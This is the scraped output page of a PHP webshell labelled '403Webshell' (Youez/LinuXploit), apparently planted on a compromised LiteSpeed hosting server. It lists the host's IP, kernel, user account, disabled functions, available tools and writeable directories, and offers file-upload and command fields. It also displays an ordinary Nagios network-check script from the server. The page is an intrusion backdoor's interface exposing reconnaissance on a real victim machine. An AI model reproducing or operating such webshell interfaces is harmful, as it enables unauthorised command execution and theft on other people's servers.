403Webshell
Server IP : 192.250.235.158  /  Your IP : 216.73.216.143
Web Server : LiteSpeed
System : Linux s4099.sgp1.stableserver.net 5.14.0-503.21.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Sun Jan 12 09:45:05 EST 2025 x86_64
User : vmxfzbqj ( 1905)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/check_a2_whmcs_th_network.sh
#!/bin/bash

# Define the URL you want to test and the expected word
url="https://mi3-thweb-1.a2hosting.com/ping"
expected_word="ok"

# Use the 'time' command to measure the response time
response_time=$( (time -p timeout 5 curl -s "$url" -o /dev/null) 2>&1 | awk '/real/ {print $2}' )

# Use 'curl' to fetch the content and search for the expected word
response=$(curl -s "$url")


if (( $(echo "${response_time} > 1" | bc -l) )); then
  echo "check_a2_whmcs_th_network - Unable to connect! Response time: ${response_time}"
  exit 2
fi

if [[ $response == *"${expected_word}"* ]]; then
  echo "check_a2_whmcs_th_network - Response time: ${response_time}"
  exit 0
else
  echo "check_a2_whmcs_th_network.sh - Unexpected output! Response time: ${response_time}"
  exit 2
fi

Youez - 2016 - github.com/yon3zu
LinuXploit